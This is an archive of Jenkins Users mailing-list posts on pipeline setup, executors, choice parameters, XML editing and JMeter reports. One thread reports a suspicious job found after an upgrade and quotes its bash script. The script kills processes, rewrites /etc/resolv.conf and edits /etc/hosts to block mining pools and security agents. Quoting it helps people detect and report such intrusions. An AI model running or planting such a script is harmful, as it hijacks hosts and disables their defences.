>>>> https://javadoc.jenkins.io/plugin/maven-plugin/hudson/maven/MavenModuleSet.html#getBuildWrappersList--
>>>> So you might have to check if the project responds to that method, and if
>>>> so, check if it has sonar. If not, print out the job name and lets check if
>>>> it has the same configuration object type: *maven2-moduleset*
>>>>
>>>> On Tue, May 26, 2020 at 12:56 PM Vijay Gongle 
>>>> wrote:
>>>>
>>>>> Ya sure, I haven't tweaked it honestly as I'm not aware of Groovy. So
>>>>> I have pasted the below script provided by Drik.
>>>>>
>>

Re: script pipeline with rabbitmq

2020-06-16 Thread Jan Monterrubio
What are you trying to accomplish here? It looks like setup some queues and
db as infrastructure for something else that depends on it?

On Tue, Jun 16, 2020 at 14:48 Arturo Arenas  wrote:

> hello everybody !!
>
> someone tried to do this?
>
> node {
> docker.image('rabbitmq:3').withRun('--rm --hostname test-rabbit
> --name test-rabbit -p 15672:15672') { c ->
> docker.image('rabbitmq:3').inside("--link ${c.id}:db") {
>   sh 'rabbitmqctl list_users'
> }
> docker.image('fedora').inside("--link ${c.id}:db") {
> sh 'ls'
> }
> }
> }
>
> also i tried to do this
>
> pipeline {
> agent {
> docker 'fedora'
> }
> options {
> buildDiscarder(logRotator(numToKeepStr: '1'))
> }
> stages {
> stage('RabbitMQ') {
> steps {
>   script {
>   docker.image('rabbitmq:3').withRun('--rm --hostname
> test-rabbit --name test-rabbit -p 15672:15672') { c ->
> docker.image('rabbitmq:3').inside("--link ${c.id}:db")
> {
> sh 'rabbitmqctl list_users'
> }
>   }
>   }
> }
> }
> }
> }
>
>
> I'm having problems to perform my script
>
> thanks in advance
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/15b91650-e515-4370-b23f-f2946ff12ff0o%40googlegroups.com
> 
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9%2BJsvPkLUjmX8WsFjY18LgiAYi-guu4bZLK%3Dt8_Rs-kwA%40mail.gmail.com.


Re: script pipeline with rabbitmq

2020-06-17 Thread Jan Monterrubio
Check out the sidecar portion of these docs:
https://www.jenkins.io/doc/book/pipeline/docker/

I think maybe the initial agent part is what might not be making it work.

On Tue, Jun 16, 2020 at 14:48 Arturo Arenas  wrote:

> hello everybody !!
>
> someone tried to do this?
>
> node {
> docker.image('rabbitmq:3').withRun('--rm --hostname test-rabbit
> --name test-rabbit -p 15672:15672') { c ->
> docker.image('rabbitmq:3').inside("--link ${c.id}:db") {
>   sh 'rabbitmqctl list_users'
> }
> docker.image('fedora').inside("--link ${c.id}:db") {
> sh 'ls'
> }
> }
> }
>
> also i tried to do this
>
> pipeline {
> agent {
> docker 'fedora'
> }
> options {
> buildDiscarder(logRotator(numToKeepStr: '1'))
> }
> stages {
> stage('RabbitMQ') {
> steps {
>   script {
>   docker.image('rabbitmq:3').withRun('--rm --hostname
> test-rabbit --name test-rabbit -p 15672:15672') { c ->
> docker.image('rabbitmq:3').inside("--link ${c.id}:db")
> {
> sh 'rabbitmqctl list_users'
> }
>   }
>   }
> }
> }
> }
> }
>
>
> I'm having problems to perform my script
>
> thanks in advance
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/15b91650-e515-4370-b23f-f2946ff12ff0o%40googlegroups.com
> 
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9KUs5FG%2BfyJBcE3OY2odV52838abqnib9bfodERR8144Q%40mail.gmail.com.


Re: How to edit xml files through Jenkins pipeline?

2020-06-22 Thread Jan Monterrubio
Since a pipeline can support groovy, you can try some of the groovy
classes:
https://groovy-lang.org/processing-xml.html

On Mon, Jun 22, 2020 at 23:10 Gajanan Mahajan 
wrote:

> I've to update xml file as a part of pipeline. From following, I've to
> replace `value` from `true` to false
>
> 
> 
>
> Also, following commented code, I've to uncomment -
>
> 
>
> Both of above snippets can be anywhere in xml file. `sed` utility won't
> help much here.
>
> Could you please suggest best possible approaches, solutions for this?
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/9987c908-92d7-4499-969f-b93c972ffceao%40googlegroups.com
> 
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9%2BAowH%2BXOLHS1yELDW%3DpzUC8HO_Ueq4o7oudOPEt1Xe4w%40mail.gmail.com.


Re: Potential Malware

2020-07-01 Thread Jan Monterrubio
Randall/Daniel, if there does end up being malware for this release would 
you mind replying on this thread? 

On Monday, June 22, 2020 at 1:00:09 PM UTC-5, Daniel Beck wrote:
>
> Thanks for your report. 
>
> I filed an issue on your behalf in the Jenkins project's private security 
> issue tracker. You should have gotten an email notification from Jira about 
> it. Please provide more information there to help us investigate. 
>
>
> > On 22. Jun 2020, at 19:15, Randall Becker  > wrote: 
> > 
> > Hi All, 
> > 
> > We just installed Jenkins 2.240 and suddenly there is a job with some 
> really strange content, including: 
> > 
> > #!/bin/bash 
> > 
> > threadCount=$(lscpu | grep 'CPU(s)' | grep -v ',' | awk '{print $2}' | 
> head -n 1); 
> > hostHash=$(hostname -f | md5sum | cut -c1-8); 
> > echo "${hostHash} - ${threadCount}"; 
> > ktr () { 
> > killall trace;pkill -9 -f trace;killall -s SIGKILL trace 
> > killall vunix;pkill -9 -f vunix;killall -s SIGKILL vunix 
> > killall viunix;pkill viunix;killall -s SIGKILL viunix 
> > kill -9 $(ps -ux | grep trace | awk '{ print $2 }') 
> > kill -9 $(ps -ux | grep vunix | awk '{ print $2 }') 
> > kill -9 $(ps -ux | grep viunix | awk '{ print $2 }') 
> > echo kill 
> > } 
> > 
> > ktr 
> > ktr 
> > ktr 
> > echo plsfoodforcatsnlove 
> > echo 'nameserver 1.1.1.1' > /etc/resolv.conf;echo 'nameserver 8.8.8.8' 
> >> /etc/resolv.conf;echo 'nameserver 180.76.76.76' >> /etc/resolv.conf 
> > echo "0.0.0.0 blockchain.info" >> /etc/hosts;echo "0.0.0.0 
> 35.225.36.167" >> /etc/hosts;echo "0.0.0.0 100.100.25.3 
> jsrv.aegis.aliyun.com" >> /etc/hosts 
> > echo "0.0.0.0 100.100.25.4 update.aegis.aliyun.co" >> /etc/hosts;echo 
> "0.0.0.0 185.164.72.119" >> /etc/hosts;echo "0.0.0.0 163.172.191.181" >> 
> /etc/hosts 
> > echo "0.0.0.0 pool.supportxmr.com" >> /etc/hosts;echo "0.0.0.0 
> pinto.mamointernet.icu" >> /etc/hosts;echo "0.0.0.0 sdk.bce.baidu.com" >> 
> /etc/hosts 
> > echo "0.0.0.0 lsd.systemten.org" >> /etc/hosts; 
> > echo "0.0.0.0 pool.minexmr.com" >> /etc/hosts 
> > echo "0.0.0.0 minexmr.com" >> /etc/hosts 
> > 
> > This is really creepy because this script cannot possibly run on our 
> system (the good part). The bad part is that no one in our organization 
> created this job. Is it possible that there is some malware floating 
> around? Our Jenkins instance is hiding behind a firewall so there's no way 
> in. 
> > 
> > Thanks, 
> > Randall 
> > 
> > -- 
> > You received this message because you are subscribed to the Google 
> Groups "Jenkins Users" group. 
> > To unsubscribe from this group and stop receiving emails from it, send 
> an email to jenkins...@googlegroups.com . 
> > To view this discussion on the web visit 
> https://groups.google.com/d/msgid/jenkinsci-users/389e7848-bad2-4044-ab9d-c3fd0f106256o%40googlegroups.com.
>  
>
>
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/6004d523-9169-46dc-88f1-47c46542d6a3o%40googlegroups.com.


Re: Running three jobs at the same time

2020-08-14 Thread Jan Monterrubio
How are you running two jobs? is that 2 executors on the same machine?

On Fri, Aug 14, 2020 at 3:11 PM sravan  wrote:

> Hi All,
> I know jenkins allow to run two jobs/ threads at the same time. Is there
> way I can increase it to run three jobs at the same time?
>
> I am trying to investigate this and could not find any solution on this.
> Any help is appreciated .
>
>
> Thanks,
> Sravan
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/71974307-191b-42a0-8db0-2409c9adce83n%40googlegroups.com
> 
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9%2BqpW0nvQpvjnwtgrHqoGgPY-Wk9koWA2yOJpzo-E%2BZyA%40mail.gmail.com.


Re: Running three jobs at the same time

2020-08-14 Thread Jan Monterrubio
Would increase the executors to 3 not do the trick? I might be
misunderstanding the problem.

On Fri, Aug 14, 2020 at 16:54 sravan  wrote:

>
> yes as two executors on the same machine
> On Friday, August 14, 2020 at 1:16:42 PM UTC-7 janmont...@gmail.com wrote:
>
>> How are you running two jobs? is that 2 executors on the same machine?
>>
>> On Fri, Aug 14, 2020 at 3:11 PM sravan  wrote:
>>
>>> Hi All,
>>> I know jenkins allow to run two jobs/ threads at the same time. Is
>>> there  way I can increase it to run three jobs at the same time?
>>>
>>> I am trying to investigate this and could not find any solution on this.
>>> Any help is appreciated .
>>>
>>>
>>> Thanks,
>>> Sravan
>>>
>>>
>>>
>>>
>>>
>>>
>>>
>>>
>>> --
>>>
>>>
>>> You received this message because you are subscribed to the Google
>>> Groups "Jenkins Users" group.
>>>
>>>
>>> To unsubscribe from this group and stop receiving emails from it, send
>>> an email to jenkinsci-use...@googlegroups.com.
>>>
>>>
>>> To view this discussion on the web visit
>>> https://groups.google.com/d/msgid/jenkinsci-users/71974307-191b-42a0-8db0-2409c9adce83n%40googlegroups.com
>>> 
>>> .
>>>
>>>
>>>
>>
>>
>
>
>
>
>
>
>
> --
>
>
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
>
>
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
>
>
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/4f87c5f1-e35e-4e08-982d-22a0f696de07n%40googlegroups.com
> 
> .
>
>
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9JMcygHO_QAqadDaEPQNwg5YE5erTJ2a9s4VCO4kuOoVg%40mail.gmail.com.


Re: Running three jobs at the same time

2020-08-14 Thread Jan Monterrubio
That sounds like a configuration problem to me, as have some agents that
have 6cpus and 6 executors and some that have 3 executors. I think we can
run about 40 jobs in parallel with our setup.

On Fri, Aug 14, 2020 at 19:28 sravan  wrote:

> My problem is I want to run 3 jobs at the same time. currently jenkins
> allow you to run 2 only
>
> On Friday, August 14, 2020 at 3:54:20 PM UTC-7 janmont...@gmail.com wrote:
>
>> Would increase the executors to 3 not do the trick? I might be
>> misunderstanding the problem.
>>
>> On Fri, Aug 14, 2020 at 16:54 sravan  wrote:
>>
>>>
>>> yes as two executors on the same machine
>>> On Friday, August 14, 2020 at 1:16:42 PM UTC-7 janmont...@gmail.com
>>> wrote:
>>>
 How are you running two jobs? is that 2 executors on the same machine?

 On Fri, Aug 14, 2020 at 3:11 PM sravan  wrote:

> Hi All,
> I know jenkins allow to run two jobs/ threads at the same time. Is
> there  way I can increase it to run three jobs at the same time?
>
> I am trying to investigate this and could not find any solution on
> this. Any help is appreciated .
>
>
> Thanks,
> Sravan
>
>
>
>
>
>
>
>
> --
>
>
> You received this message because you are subscribed to the Google
> Groups "Jenkins Users" group.
>
>
> To unsubscribe from this group and stop receiving emails from it, send
> an email to jenkinsci-use...@googlegroups.com.
>
>
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/71974307-191b-42a0-8db0-2409c9adce83n%40googlegroups.com
> 
> .
>
>
>


>>>
>>>
>>>
>>>
>>>
>>>
>>>
>>> --
>>>
>>>
>>> You received this message because you are subscribed to the Google
>>> Groups "Jenkins Users" group.
>>>
>>>
>>> To unsubscribe from this group and stop receiving emails from it, send
>>> an email to jenkinsci-use...@googlegroups.com.
>>>
>>>
>>> To view this discussion on the web visit
>>> https://groups.google.com/d/msgid/jenkinsci-users/4f87c5f1-e35e-4e08-982d-22a0f696de07n%40googlegroups.com
>>> 
>>> .
>>>
>>>
>>>
>>
>>
>
>
>
>
>
>
>
> --
>
>
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
>
>
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
>
>
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/848f7add-a3e0-4bee-b825-b694301b1b78n%40googlegroups.com
> 
> .
>
>
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9KLTafiPJc%3DyVwOtyM0esmD1GPwiFZrrPrH5Bg7GWnVdQ%40mail.gmail.com.


Re: Why Jenkins pipeline always being executed in second directory?

2020-09-18 Thread Jan Monterrubio
Check what is In those contents. There are @lib and @tmp folders that also
get created for checked out libraries.

On Fri, Sep 18, 2020 at 23:35 Gajanan Mahajan 
wrote:

> I've a Jenkins pipeline with name say `TestPipeline` when build is
> triggered workspace with name `TestPipeline@2` is created even though
> there is not other build running on that node and hence there is no
> directory with name `TestPipeline`
>
> I'm new to Jenkins. As far as I know `TestPipeline@2` will be created
> when another build is running in `TestPipeline`.
>
> COuld you please help to understand why `TestPipeline@2` is crated even
> there is not `TestPipeline`?
>
>
> To resolve this, I cleaned entire workspace and restarted Jenkins agent
> still same was seen.
>
>
>
>
>
>
>
>
> --
>
>
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
>
>
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
>
>
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/a12e9883-f9b9-4d80-bbc7-51590f521984n%40googlegroups.com
> 
> .
>
>
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9L5JeCYBBfD2fJZ8jweV9LVhn4-CSxQZ-XaJ1UtDuAhFA%40mail.gmail.com.


Re: Automating the Choice Parameter on a job

2020-10-15 Thread Jan Monterrubio
I’ve used the extended choice parameter to pull a list of files from a
directory in github and display a set of checkboxes. I’ll remember to grab
you a snippet tomorrow during work!



On Thu, Oct 15, 2020 at 17:01 Kari Cowan  wrote:

> I am working on a Jenkins job to rollback a Docker container to the
> previous version.  This on its own is pretty straight-forward, but what I
> want to do is get my list of available tags from the registry. As opposed
> to going to the registry-page and seeing what's available, then copy/paste
> a value into a form on Jenkins, I'd like to automate that step somehow - by
> grabbing the data from the registry page and displaying the options in a
> choice parameter in Jenkins on the build screen.
>
> For example, call in the registry url by ip, example,
> 10.11.12.199:5000/v2/some-api/tags/list might display some JSON like:
> {"name":"some-api","tags":["qa_api-11","qa_api-12","qa_api-13"]}
>
> What's the best tool for this?  I'm no Groovy expert but would the
> Extensible Choice Parameter plugin coupled with a Groovy script be useful
> here? I'm not really clued up yet if this is possible in Groovy, but am
> open to suggestions.  Does anyone have any tips on that or other methods
> that are better?
>
>
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/CAE7w4hg_RpwfVYAh7m9FLc1oxCPZQuqwd-eMpj6kFgBdMsJoOA%40mail.gmail.com
> 
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9KZ9pd-knThXn4L9uLr5dzG2YKXip_X_RKEABWw_zarvg%40mail.gmail.com.


Re: Matrix in Pipelines

2020-10-18 Thread Jan Monterrubio
Could you do a job that takes a Node parameter and then a job with 2
stages, one for each node that just calls the first job?

On Sun, Oct 18, 2020 at 11:24 Roland Asmann  wrote:

> Hey everybody,
>
> I have this job, written as a declarative pipeline, the now needs to be
> run on 2 nodes instead of just 1. Before, I would use the Matrix-Job for
> that, but I am not quite sure how to do this in my pipeline...
> I searched around a bit and found some example on how to do it with a
> scripted pipeline, but I would prefer to stick to the declarative format --
> if possible. The reason for that is that my team is just learning about
> pipelines and have just about mastered declarative. I don't want to throw
> them in the deep end for scripted yet.
>
> Is this possible in declarative? If so, tips would be helpful.
> If not, at least 1 reply telling me this would also be helpful! ;-)
>
> Thanks,
> Roland
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/8ebffe59-9ac7-489a-9bf1-388d77ea7289n%40googlegroups.com
> 
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9Lz-q4NRxChqOoy7L4JhkrXxS5q8kqoP-i5WJ0_v%3Dp5Nw%40mail.gmail.com.


Re: Automating the Choice Parameter on a job

2020-10-19 Thread Jan Monterrubio
Yep, if docker tags can return you json, you can just slurp stuff and
transform it.

On Mon, Oct 19, 2020 at 09:27 Kari Cowan  wrote:

> This is clever - thanks.
>
> I don't have a directory of files in my git project- but I am guessing I
> could write something to add - like a deployment tag list that matches the
> docker registry?
>
> Ideally I would pull the docker register tag list and use that.
>
>
> On Fri, Oct 16, 2020 at 1:15 PM janmont...@gmail.com <
> janmonterru...@gmail.com> wrote:
>
>>  import groovy.json.JsonSlurperClassic
>>  def jsonSlurper = new JsonSlurperClassic()
>> def response = jsonSlurper.parse(new URL("SOME REPO HERE"))
>> return response
>>
>> It was something like that ^
>>
>> You can always start with a "return [ 'a', 'b'] " , we used the
>> ActiveChoice reactive parameter
>>
>>
>> On Thursday, October 15, 2020 at 11:32:33 PM UTC-5 janmont...@gmail.com
>> wrote:
>>
>>> I’ve used the extended choice parameter to pull a list of files from a
>>> directory in github and display a set of checkboxes. I’ll remember to grab
>>> you a snippet tomorrow during work!
>>>
>>>
>>>
>>> On Thu, Oct 15, 2020 at 17:01 Kari Cowan  wrote:
>>>
 I am working on a Jenkins job to rollback a Docker container to the
 previous version.  This on its own is pretty straight-forward, but what I
 want to do is get my list of available tags from the registry. As opposed
 to going to the registry-page and seeing what's available, then copy/paste
 a value into a form on Jenkins, I'd like to automate that step somehow - by
 grabbing the data from the registry page and displaying the options in a
 choice parameter in Jenkins on the build screen.

 For example, call in the registry url by ip, example,
 10.11.12.199:5000/v2/some-api/tags/list might display some JSON like:
 {"name":"some-api","tags":["qa_api-11","qa_api-12","qa_api-13"]}

 What's the best tool for this?  I'm no Groovy expert but would the
 Extensible Choice Parameter plugin coupled with a Groovy script be useful
 here? I'm not really clued up yet if this is possible in Groovy, but am
 open to suggestions.  Does anyone have any tips on that or other methods
 that are better?



 --
 You received this message because you are subscribed to the Google
 Groups "Jenkins Users" group.
 To unsubscribe from this group and stop receiving emails from it, send
 an email to jenkinsci-use...@googlegroups.com.
 To view this discussion on the web visit
 https://groups.google.com/d/msgid/jenkinsci-users/CAE7w4hg_RpwfVYAh7m9FLc1oxCPZQuqwd-eMpj6kFgBdMsJoOA%40mail.gmail.com
 
 .

>>> --
>> You received this message because you are subscribed to the Google Groups
>> "Jenkins Users" group.
>> To unsubscribe from this group and stop receiving emails from it, send an
>> email to jenkinsci-users+unsubscr...@googlegroups.com.
>> To view this discussion on the web visit
>> https://groups.google.com/d/msgid/jenkinsci-users/d99e92f5-f7a8-493c-b90a-997aa6aec02fn%40googlegroups.com
>> 
>> .
>>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/CAE7w4hiWP_btV6D4oh0y0mPH92TpuwG7e-RdEM7BTP%3DbvDe-7Q%40mail.gmail.com
> 
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9LDMDY5WZKfYdSZPq2x9-5pMW34kRaoPMeKfEbDt%3DJcVA%40mail.gmail.com.


Re: Can I have a reusable “post” block for my jenkins pipelines?

2018-08-02 Thread Jan Monterrubio
We do this in our CI. Basically the shared library has some variable
parameters you can override and it lets you control what happens based on
those. I’ll see if I can scrounge up a sample later today.

On Thu, Aug 2, 2018 at 11:04 red 888  wrote:

> how does that work though? My pipelines are already in shared libraries. I
> want a shared post block specifically.
>
>
> On Monday, July 30, 2018 at 7:33:21 AM UTC-4, Johan Abildskov wrote:
>>
>> You should be able to do this with Shared Libraries:
>> https://jenkins.io/doc/book/pipeline/shared-libraries/
>>
>> On Thursday, July 26, 2018 at 9:22:53 PM UTC+2, red 888 wrote:
>>>
>>> I have many jenkins pipelines for several different platforms but my
>>> "post{}" block for all those pipelines is pretty samey. And its quite large
>>> at this point because I include success,unstable,failure and aborted in it.
>>>
>>>
>>> Is there a way to parameterize a reusable post{} block I can import in
>>> all my pipelines? I'd like to be able to import it and pass it params as
>>> well (because while its *almost* the same it varies very slightly for
>>> different pipelines).
>>>
>>>
>>> Here is an example post block that is currently copy and pasted inside
>>> all my pipeline{}s
>>>
>>>
>>> post {
>>> success{
>>> script {
>>> // I'd like to be able to pass in values for param1 and param2
>>> someGroovyScript {
>>> param1 = 'blah1'
>>> param2 = 'blah2'
>>> }
>>> // maybe id want a conditional here that does something with a 
>>> passed in param
>>> if (param3 == 'blah3') {
>>> echo 'doing something'
>>> }
>>> }
>>> }
>>> unstable{
>>> ... you get the idea
>>> }
>>> aborted{
>>> ... you get the idea
>>> }
>>> failure{
>>> ... you get the idea
>>> }
>>> }
>>>
>>> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/aa1f5f13-a8c3-42b6-bccc-a35047f0c293%40googlegroups.com
> 
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9JOQ6_MY_0Jv7FvhMe9yOQYABJqORnQRyJ%2BxhR%3DxqviWg%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: Jmeter Test execution - Blank Performance Trend graphs

2018-08-04 Thread Jan Monterrubio
What plugin is generating the performance trends?

On Fri, Aug 3, 2018 at 3:06 PM Ajith Raman  wrote:

> Hello,
> I run a Jmeter test via Jenkins. Please find below the commands used:
> Execute Windows Batch command (Build): cd
> C:\Users\C51539A\Downloads\apache-jmeter-4.0\bin jmeter
> -Jjmeter.save.saveservice.output_format=csv -n -t Sample_Framework.jmx -l
> TestResults_%BUILD_NUMBER%.jtl -e -o
> C:\Users\C51539A\Downloads\apache-jmeter-4.0\bin\HTML_%BUILD_NUMBER%
> Publish Performance Test result report (Post-Build Actions):
> C:\Users\C51539A\Downloads\apache-jmeter-4.0\bin\TestResults_${BUILD_NUMBER}.jtl
> Now the execution completes successfully. But the Performance Trend Graphs
> are blank. Could you please help me on this? Note: All works fine, when
> _${BUILD_NUMBER} is removed from the filename. Issue exists, only when
> _${BUILD_NUMBER} is appended to the filename. Am performing this, in order
> to make the output files unique.
> Thanks in Advance!!
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/f87297df-97b4-4fe1-a857-c802dfcd225e%40googlegroups.com
> 
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9LWBEz77nHRDsKMoocY-wd5wvdnc9USaU6cw5miw0J7rg%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: Jmeter Test execution - Blank Performance Trend graphs

2018-08-04 Thread Jan Monterrubio
Maybe it can't do a trend on an artifact since the names are unique?

On Sat, Aug 4, 2018 at 10:50 PM Jan Monterrubio 
wrote:

> What plugin is generating the performance trends?
>
> On Fri, Aug 3, 2018 at 3:06 PM Ajith Raman  wrote:
>
>> Hello,
>> I run a Jmeter test via Jenkins. Please find below the commands used:
>> Execute Windows Batch command (Build): cd
>> C:\Users\C51539A\Downloads\apache-jmeter-4.0\bin jmeter
>> -Jjmeter.save.saveservice.output_format=csv -n -t Sample_Framework.jmx -l
>> TestResults_%BUILD_NUMBER%.jtl -e -o
>> C:\Users\C51539A\Downloads\apache-jmeter-4.0\bin\HTML_%BUILD_NUMBER%
>> Publish Performance Test result report (Post-Build Actions):
>> C:\Users\C51539A\Downloads\apache-jmeter-4.0\bin\TestResults_${BUILD_NUMBER}.jtl
>> Now the execution completes successfully. But the Performance Trend Graphs
>> are blank. Could you please help me on this? Note: All works fine, when
>> _${BUILD_NUMBER} is removed from the filename. Issue exists, only when
>> _${BUILD_NUMBER} is appended to the filename. Am performing this, in order
>> to make the output files unique.
>> Thanks in Advance!!
>>
>> --
>> You received this message because you are subscribed to the Google Groups
>> "Jenkins Users" group.
>> To unsubscribe from this group and stop receiving emails from it, send an
>> email to jenkinsci-users+unsubscr...@googlegroups.com.
>> To view this discussion on the web visit
>> https://groups.google.com/d/msgid/jenkinsci-users/f87297df-97b4-4fe1-a857-c802dfcd225e%40googlegroups.com
>> <https://groups.google.com/d/msgid/jenkinsci-users/f87297df-97b4-4fe1-a857-c802dfcd225e%40googlegroups.com?utm_medium=email&utm_source=footer>
>> .
>> For more options, visit https://groups.google.com/d/optout.
>>
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9KNuWqkBpab1OC0U5NcOyBY6qLO5ubgPjcxHT2StVjMLQ%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: Unable to launch a browser

2018-08-06 Thread Jan Monterrubio
Does the agent have X11 or any sort of graphical input? If not could you
use something like selenium to start the browser in headless mode?

On Mon, Aug 6, 2018 at 07:37 Ajith Raman  wrote:

> Hello All,
>
>
>
> I try to launch a browser via Jenkins. Unfortunately, it doesn't works
> (But the build succeeds).
>
>
> Please find below the command used:
>
> Build (Execute Windows Batch Command):
> *start chrome "www.google.com "*
>
>
> Could someone help me on this?
>
>
>
> Regards,
> Ajith
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/e266ce1c-e460-4fc0-9854-824c02e14266%40googlegroups.com
> 
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
